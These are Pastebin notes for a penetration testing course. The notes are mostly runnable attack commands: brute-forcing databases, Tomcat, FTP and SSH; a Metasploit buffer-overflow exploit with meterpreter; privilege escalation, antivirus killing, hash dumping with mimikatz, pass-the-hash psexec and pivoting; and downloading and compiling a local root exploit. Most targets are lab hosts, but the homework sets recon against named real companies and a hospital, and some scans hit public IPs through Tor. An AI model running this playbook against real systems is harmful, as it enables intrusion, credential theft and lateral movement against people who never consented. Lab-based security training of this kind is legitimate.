Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ########################################
- # Ultimate Penetration Testing #
- # By Joe McCray of Strategic Security #
- ########################################
- #########################
- # Class Virtual Machine #
- #########################
- Here is the VMWare virtual machine for the class:
- https://s3-us-west-2.amazonaws.com/infosecaddicts/InfoSecAddictsVM.zip
- user: infosecaddicts
- pass: infosecaddicts
- ################
- # Day 1: OSINT #
- ################
- OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first.
- Here is an an OSINT report that I did for a customer of mine a few years ago:
- https://s3.amazonaws.com/infosecaddicts-Files/OSINT_Innophos_11242010.doc
- Let's see if you can do a better one than me....
- Here are a few places to start:
- - Wikipedia Page
- - Are they Public or Private?
- - Does the target have any subsidiaries?
- - Robtex
- - Show system map
- - Netcraft
- - http://toolbar.netcraft.com/site_report
- - Passive Recon (Firefox Add-on)
- Your first task:
- ----------------
- Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies:
- NSA
- HSBC
- Coke
- Exxon Mobil
- KPMG
- Accenture
- NewYork-Presbyterian Hospital
- Kroger
- Dillard's
- Royal Caribbean International
- Tools that are good for OSINT:
- ------------------------------
- Here are some tools that I think you should consider using for this challenge:
- FOCA
- Maltego
- Search Diggity
- ShodanHQ
- PassiveRecon
- EDGAR
- theHarvester
- gxfr.py
- VisualRoute
- ********************************** Begin Day 1 Homework Part 1 **********************************
- NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
- You must create a MS WORD document titled 'FirstName-LastName-Ultimate-Pentesting-Day1-OSINT-Report.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-OSINT-Report.docx).
- You must spell you name EXACTLY as you want it spelled on your class certificate.
- IMPORTANT NOTE:
- Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
- ********************************** End Day 1 Homework Part 1 **********************************
- Email Harvesting
- ----------------
- cd ~/toolz/
- rm -rf theharvester-read-only/
- sudo apt install -y python-pyasn1 python-pyasn1-modules
- infosecaddicts
- git clone https://github.com/laramies/theHarvester.git
- cd theHarvester/
- python theHarvester.py
- python theHarvester.py -d motorola.com -l 50 -b google
- python theHarvester.py -d motorola.com -l 50 -b bing
- python theHarvester.py -d motorola.com -l 50 -b linkedin
- python theHarvester.py -d motorola.com -l 50 -b pgp
- File Meta-Data Harvesting
- -------------------------
- cd ~/toolz/
- sudo apt install -y python-pip
- infosecaddicts
- sudo pip install google
- infosecaddicts
- git clone https://github.com/opsdisk/metagoofil.git
- cd metagoofil/
- python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
- exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
- python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
- Whereas:
- -d : I used another domain name aside from Google.com to make it work
- -t : I asked for the program to search two types of public documents whuch are doc and pdf files
- -l : I limited the search result to 100 to make the process faster
- -n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
- -o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
- -f : Save the html links to html_links_<TIMESTAMP>.txt file
- Github Info Harvesting
- ----------------------
- cd ~/toolz/
- sudo pip install gitem
- infosecaddicts
- gitem organization facebook
- gitem repository facebook react
- gitem --processes 4 user zpao
- Network Topology Enumeration
- ----------------------------
- cd ~/toolz/
- wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
- python gxfr.py --bxfr --dns-lookup -o
- motorola.com
- [ press enter ]
- cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
- cd ~/toolz/
- rm -rf fierce2/
- git clone https://github.com/mschwager/fierce.git
- cd fierce
- sudo apt install -y python3-pip
- infosecaddicts
- sudo pip3 install -r requirements.txt
- python3 fierce.py -h
- python3 fierce.py --domain motorola.com --subdomains accounts admin ads
- Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
- python3 fierce.py --domain facebook.com --subdomains admin --traverse 10
- Limit nearby IP traversal to certain domains with the --search flag:
- python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
- Attempt an HTTP connection on domains discovered with the --connect flag:
- python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
- Recon-NG (Metasploit for Recon):
- --------------------------------
- cd ~/toolz/
- sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
- infosecaddicts
- sudo pip install dicttoxml
- infosecaddicts
- git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
- cd recon-ng
- ./recon-ng
- At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
- recon-ng > help
- Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.
- recon-ng > [ TAB ] [ TAB ]
- To see all the modules in Recon-ng, we can type:
- recon-ng > show [ TAB ] [ TAB ]
- Ok, let's drive this thing....
- recon-ng > show banner
- recon-ng > show companies
- recon-ng > show contacts
- recon-ng > show credentials
- recon-ng > show dashboard
- recon-ng > show domains
- recon-ng > show hosts
- recon-ng > show keys
- recon-ng > show leaks
- recon-ng > show locations
- recon-ng > show modules
- recon-ng > show netblocks
- recon-ng > show options
- recon-ng > show ports
- recon-ng > show profiles
- recon-ng > show pushpins
- recon-ng > show repositories
- recon-ng > show schema
- recon-ng > show vulnerabilities
- recon-ng > show workspaces
- When you have found a module that you would like to try the process is fairly straight forward.
- Type, “use [Modulename]” to use the module
- Type, “show info” to view information about the module
- And then, “show options” to see what variables can be set
- Set the option variables with “set [variable]”
- Finally, type “run” to execute the module
- ********************************** Begin Day 1 Homework Part 2 **********************************
- NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
- You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
- You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Recon-NG.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Recon-NG.docx).
- You must spell you name EXACTLY as you want it spelled on your class certificate.
- Reference links:
- http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
- http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
- IMPORTANT NOTE:
- Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
- ********************************** End Day 1 Homework Part 2 **********************************
- ########################
- # Scanning Methodology #
- ########################
- - Ping Sweep
- What's alive?
- ------------
- sudo nmap -sP 157.166.226.*
- infosecaddicts
- -if -SP yields no results try:
- sudo nmap -sL 157.166.226.*
- infosecaddicts
- sudo nmap -sL 157.166.226.* | grep com
- infosecaddicts
- - Port Scan
- What's where?
- ------------
- sudo nmap -sS 162.243.126.247
- infosecaddicts
- - Bannergrab/Version Query
- What versions of software are running
- -------------------------------------
- sudo nmap -sV 162.243.126.247
- infosecaddicts
- - Vulnerability Research
- Lookup the banner versions for public exploits
- ----------------------------------------------
- http://exploit-db.com
- http://securityfocus.com/bid
- https://packetstormsecurity.com/files/tags/exploit/
- #######################################################
- # Day 1: 3rd Party Scanning, and scanning via proxies #
- #######################################################
- https://www.shodan.io/
- Create a FREE account and login
- net:129.188.8.0/24
- cd /home/infosecaddicts/toolz/
- perl proxyfinder-0.3.pl multiproxy 3 proxies.txt <-- This takes a long time to run
- sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 9050
- infosecaddicts
- ----------------------------------------------------------------------
- vi ~/toolz/fix-proxychains-dns.sh
- #!/bin/bash
- # This script is called by proxychains to resolve DNS names
- # DNS server used to resolve names
- # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
- DNS_SERVER=4.2.2.2
- if [ $# = 0 ] ; then
- echo " usage:"
- echo " proxyresolv <hostname> "
- exit
- fi
- export LD_PRELOAD=libproxychains.so.3
- dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
- -----------------------------------------------------------------------
- sudo ntpdate pool.ntp.org
- infosecaddicts
- tor-resolve infosecaddicts.com
- proxychains nmap -sT -p80 162.243.126.247
- proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
- #########################
- # Playing with Nmap NSE #
- #########################
- nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
- nmap -p80 --script dns-brute infosecaddicts.com
- nmap --script http-robtex-reverse-ip secore.info
- nmap -Pn -p80 --script=http-headers infosecaddicts.com
- ls /usr/share/nmap/scripts | grep http
- nmap -Pn -p80 --script=http-* infosecaddicts.com
- #####################################
- # Writing Your Own Nmap NSE Scripts #
- #####################################
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- -- The Rule Section --
- portrule = function(host, port)
- return port.protocol == "tcp"
- and port.number == 80
- and port.state == "open"
- end
- -- The Action Section --
- action = function(host, port)
- return "Ultimate Pentesting!"
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- return "Ultimate Pentesting!"
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
- OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- return response.status
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- if ( response.status == 200 ) then
- return response.body
- end
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- local string = require "string"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- if ( response.status == 200 ) then
- local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
- return title
- end
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- local string = require "string"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- if ( response.status == 200 ) then
- local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
- if (title) then
- return "Vulnerable"
- else
- return "Not Vulnerable"
- end
- end
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ********************************** Begin Day 1 Homework Part 3 **********************************
- NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
- You must take screenshots of you performing all of the scanning tasks that we have done so far today
- You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Adv-Scanning.docx).
- You must spell you name EXACTLY as you want it spelled on your class certificate.
- IMPORTANT NOTE:
- Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
- ********************************** End Day 1 Homework Part 3 **********************************
- ##########
- # Day 2: #
- ##########
- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
- If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
- So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
- https://s3.amazonaws.com/infosecaddicts-Files/Strategic-Security-2016-VPN-Info.pdf
- sudo nmap -sP 10.0.0.0/24
- infosecaddicts
- sudo nmap -sL 10.0.0.0/24
- infosecaddicts
- cd ~/toolz
- wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
- gcc ipcrawl.c -o ipcrawl
- chmod 777 ipcrawl
- ./ipcrawl 10.0.0.1 10.0.0.254
- wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
- gcc propecia.c -o propecia
- sudo cp propecia /bin
- infosecaddicts
- propecia 10.0.0 22
- propecia 10.0.0 3389
- nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
- nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
- nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
- nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
- nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
- #################################################
- # Screenshotting the Web Servers in the Network #
- #################################################
- cd ~/toolz/
- mkdir labscreenshots
- cd labscreenshots/
- wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
- tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
- cd wkhtmltox/bin/
- sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
- cd ~/toolz/
- git clone git://github.com/SpiderLabs/Nmap-Tools.git
- cd Nmap-Tools/NSE/
- sudo cp http-screenshot.nse /usr/share/nmap/scripts/
- infosecaddicts
- sudo nmap --script-updatedb
- infosecaddicts
- cd ~/toolz/labscreenshots/
- sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
- infosecaddicts
- vi screenshots.sh
- #!/bin/bash
- printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
- ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
- printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
- sh screenshots.sh
- ##########################
- # Nmap NSE tricks to try #
- ##########################
- sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
- infosecaddicts
- sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
- infosecaddicts
- sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
- infosecaddicts
- ##########
- # Day 3: #
- ##########
- mkdir ~/toolz/wordlists
- cd ~/toolz/wordlists
- echo dbo >> users.txt
- echo sa >> users.txt
- echo admin >> users.txt
- echo root >> users.txt
- echo password >> pass.txt
- echo pass >> pass.txt
- echo hello >> pass.txt
- echo goodbye >> pass.txt
- echo test >> pass.txt
- echo admin >> pass.txt
- echo db >> pass.txt
- echo god >> pass.txt
- echo 123 >> pass.txt
- echo letmein >> pass.txt
- #######################
- # Attacking Databases #
- #######################
- Attacking MySQL with Metasploit
- -------------------------------
- cd ~/toolz/metasploit
- ./msfconsole
- use auxiliary/scanner/mysql/mysql_version
- set RHOSTS 10.0.0.59
- run
- use auxiliary/scanner/mysql/mysql_login
- set RHOSTS 10.0.0.59
- set USER_FILE /home/infosecaddicts/toolz/wordlists/users.txt
- set PASS_FILE /home/infosecaddicts/toolz/wordlists/pass.txt
- run
- use auxiliary/admin/mysql/mysql_enum
- set RHOST 10.0.0.59
- set USERNAME root
- run
- use auxiliary/scanner/mysql/mysql_hashdump
- set RHOSTS 10.0.0.59
- set USERNAME root
- run
- exit -y
- $ mysql -h 10.0.0.59 -u root -p
- show databases;
- Attacking Postgres with Metasploit
- ----------------------------------
- cd ~/toolz/metasploit
- ./msfconsole
- use auxiliary/scanner/postgres/postgres_login
- set RHOSTS 10.0.0.59
- run
- Identifying MSSQL Server
- -----------------------
- propecia 10.0.0 1433
- Determine the Version
- ---------------------
- nmap -sV -p 1433 10.0.0.9
- nmap -sV -p 1433 --script=ms-sql-info 10.0.0.9
- Bruteforcing MSSQL
- ------------------
- nmap -p1433 --script ms-sql-empty-password 10.0.0.9
- mkdir ~/toolz/wordlists
- cd ~/toolz/wordlists
- echo dbo >> customuser.txt
- echo sa >> customuser.txt
- echo admin >> customuser.txt
- echo password >> custompass.txt
- echo pass >> custompass.txt
- echo hello >> custompass.txt
- echo goodbye >> custompass.txt
- echo test >> custompass.txt
- echo admin >> custompass.txt
- echo db >> custompass.txt
- echo god >> custompass.txt
- echo 123 >> custompass.txt
- echo letmein >> custompass.txt
- echo database!23 >> custompass.txt
- nmap -sV -p 1433 --script=ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 10.0.0.9
- Extracting Data From MSSQL
- -------------------------
- nmap -sV -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
- nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
- nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
- nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
- nmap -p1433 --script ms-sql-xp-cmdshell --script-args=ms-sql-xp-cmdshell.cmd='net users',mssql.username=sa,mssql.password=database\!23 10.0.0.9
- nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
- Attacking MSSQL Server With Metasploit
- --------------------------------------
- cd ~/toolz/metasploit
- ./msfconsole
- use auxiliary/admin/mssql/mssql_sql
- show options
- set RHOST 10.0.0.9
- set username sa
- set password database!23
- exploit
- use auxiliary/admin/mssql/mssql_enum
- show options
- set RHOST 10.0.0.9
- set username sa
- set password database!23
- exploit
- use auxiliary/admin/mssql/mssql_exec
- show options
- set RHOST 10.0.0.9
- set password database!23
- set CMD cmd.exe /c ping localhost
- exploit
- ################################
- # Attacking Big Data Solutions #
- ################################
- propecia 10.0.0 27017
- sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
- infosecaddicts
- Big Data is quite the buzzword in our industry and MongoDB is one of the more popular Big Data solutions on the market.
- There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB.
- One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions.
- sudo apt install -y git python-setuptools
- cd ~/toolz
- mkdir arsenal
- cd arsenal
- git clone https://github.com/tcstool/nosqlmap.git
- cd nosqlmap
- sudo python setup.py install
- infosecaddicts
- python nosqlmap.py
- 1 (set options)
- 10.0.0.59 (set target IP)
- 7 <your IP> (set attacker host ip)
- x (back to main menu)
- 2 (DB access attack option)
- 1 (Get server info)
- 2 (Enumerate Databases/Collections/Users)
- 3 (Check for GridFS)
- GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document
- Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ).
- ####################################
- # Finally, let's exploit something #
- ####################################
- nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
- nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
- https://www.exploit-db.com/search
- Search for:
- Savant httpd 3.1
- Apache httpd 2.0.58 ((Win32))
- Found one written in Python:
- https://www.exploit-db.com/exploits/18401/
- Found one for Savant 3.1 from Metasploit:
- https://www.exploit-db.com/exploits/16770/
- cd ~/toolz/metasploit
- ./msfconsole
- use exploit/windows/http/savant_31_overflow
- set RHOST 10.0.0.15
- set PAYLOAD windows/meterpreter/bind_nonx_tcp
- set RPORT 80
- set LPORT 7777
- exploit
- ********************************** Figure out who and where you are **********************************
- meterpreter> sysinfo
- meterpreter> getuid
- meterpreter> ipconfig
- meterpreter> run post/windows/gather/checkvm
- meterpreter> run get_local_subnets
- ********************************** Escalate privileges and get hashes **********************************
- meterpreter> use priv
- meterpreter > getsystem
- ...got system (via technique 1).
- meterpreter > getuid
- Server username: NT AUTHORITY\SYSTEM
- --------------------------------------------------------
- meterpreter> run killav
- meterpreter> run post/windows/gather/hashdump
- Got the following admin hash:
- Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
- meterpreter> run post/windows/gather/credentials/credential_collector
- meterpreter > load mimikatz
- meterpreter > kerberos
- This should give me the administrative password:
- )K5?Jocb(Yx
- ********************************** Enumerate the host you are on **********************************
- meterpreter> run winenum
- meterpreter > run post/windows/gather/enum_applications
- meterpreter > run post/windows/gather/enum_logged_on_users
- meterpreter > run post/windows/gather/usb_history
- meterpreter > run post/windows/gather/enum_shares
- meterpreter > run post/windows/gather/enum_snmp
- meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
- ********************************** Get out of Meterpreter **********************************
- meterpreter> background
- msf exploit(savant_31_overflow) > back
- msf>
- ********************************** Lateral Movement *******************************
- Now we can run the PSEXEC exploit.
- -- Option 1:
- use exploit/windows/smb/psexec
- set SMBUser Administrator
- set SMBPass )K5?Jocb(Yx
- set RHOST 10.0.0.15
- set payload windows/meterpreter/bind_tcp
- set LPORT 2345
- exploit
- ********************************** Get out of Meterpreter **********************************
- meterpreter> background
- msf exploit(psexec) >back
- msf>
- **********************************
- -- Option 2:
- use exploit/windows/smb/psexec
- set SMBUser Administrator
- set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
- set payload windows/meterpreter/bind_tcp
- set RHOST 10.0.0.15
- set LPORT 5678
- exploit
- ********************************** Set up your Pivot **********************************
- meterpreter > background
- <-- background the session
- You want to get back to this prompt:
- msf exploit(handler) > back <--- you need to get to main msf> prompt
- sessions -l <--find a session you want to pivot through (note the IP and session number)
- Now set up Pivot with a route add
- ---------------------------------
- route print <--- should be blank
- route add 10.0.0.15 255.255.255.0 1 <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
- route print <----- verify new route
- ******************************Scan through your Pivot ******************************
- use auxiliary/scanner/portscan/tcp <-- Run aux modules through your pivot
- set THREADS 10
- set RHOSTS 10.0.0.0/24 <-- Keep changing this IP and re-running the scan until you find something you want to attack
- set PORTS 445
- run
- ####################################
- # Socks Tunneling with Proxychains #
- ####################################
- --- Open a duplicate putty session to your Ubuntu host
- sudo apt install -y proxychains
- infosecaddicts
- sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 1080
- infosecaddicts
- Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
- socks4 127.0.0.1 1080
- ***************************Set up a Socks Proxy through your Pivot *************************
- use auxiliary/server/socks4a
- set SRVHOST 127.0.0.1
- set SRVPORT 1080
- run
- --- Go back to your other putty session with the meterpreter shell
- cd ~
- proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 10.0.0.0/24 <--- This is going to be really slow
- proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24 <--- This is going to be really slow
- ---close the duplicate putty session to your Ubuntu host
- *************************** Day 3 Challenge *******************************
- ******** Attacking Kevgir ********
- I figured I've give you something fun to play with.
- sudo nmap -sV -Pn 10.0.0.120
- infosecaddicts
- ##############################
- # Using Nikto against Kevgir #
- ##############################
- cd ~/toolz/nikto-2.1.1
- perl nikto.pl -update
- perl nikto.pl -h 10.0.0.120
- perl nikto.pl -h 10.0.0.120:8080
- perl nikto.pl -h 10.0.0.120:8081
- perl nikto.pl -h 10.0.0.120:9000
- ####################
- # Using Metasploit #
- ####################
- cd ~/toolz/metasploit
- ./msfconsole
- use auxiliary/scanner/http/http_version
- set RHOSTS 10.0.0.120
- set RPORT 8080
- run
- -------------------------------
- use auxiliary/scanner/http/tomcat_enum
- set RHOSTS 10.0.0.120
- set RPORT 8080
- run
- ####################
- # Attacking Tomcat #
- ####################
- cd ~/toolz/metasploit
- ./msfconsole
- use auxiliary/scanner/http/http_version
- set RHOSTS 10.0.0.120
- set RPORT 8080
- run
- use auxiliary/scanner/http/tomcat_mgr_login
- set USERNAME tomcat
- set USERPASS_FILE /home/infosecaddicts/list.txt
- set STOP_ON_SUCCESS true
- set RHOSTS 10.0.0.120
- set RPORT 8080
- run
- use exploit/multi/http/tomcat_mgr_upload
- set USERNAME tomcat
- set PASSWORD tomcat
- set RHOST 10.0.0.120
- set RPORT 8080
- set PATH /manager/html
- set PAYLOAD java/meterpreter/bind_tcp
- exploit
- run post/linux/gather/checkvm
- run post/linux/gather/enum_configs
- run post/linux/gather/enum_protections
- run post/linux/gather/enum_system
- run post/linux/gather/enum_users_history
- run post/linux/gather/hashdump
- shell
- /bin/bash
- id
- uname -a
- dpkg -l
- cd /tmp
- pwd
- cat >> exploit.c << out
- **************paste in the content from here *****************
- https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/39166.c
- ------ hit enter a few times ------
- ------ then type 'out' ----- this closes the file handle...
- gcc -o boom exploit.c
- ./boom
- id
- -------------------------------
- hydra -l tomcat -P /home/infosecaddicts/list.txt -e ns -s 8080 -vV 10.0.0.140 http-get /manager/html
- #################
- # Attacking FTP #
- #################
- sudo nmap -sV -Pn -p25 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.120
- infosecaddicts
- cd ~/toolz/hydra
- hydra -l admin -P /home/infosecaddicts/list.txt -u -s 25 10.0.0.120 ftp
- ftp
- open 10.0.0.120
- admin
- admin
- pwd
- ls -lah
- ls ../../
- #################
- # Attacking SSH #
- #################
- cd ~/toolz/hydra
- hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 10.0.0.120 ssh
- ssh -p 1322 admin@10.0.0.120
- cd ~/toolz/metasploit
- ./msfconsole
- use auxiliary/scanner/ssh/ssh_users
- set USER_FILE /home/infosecaddicts/list.txt
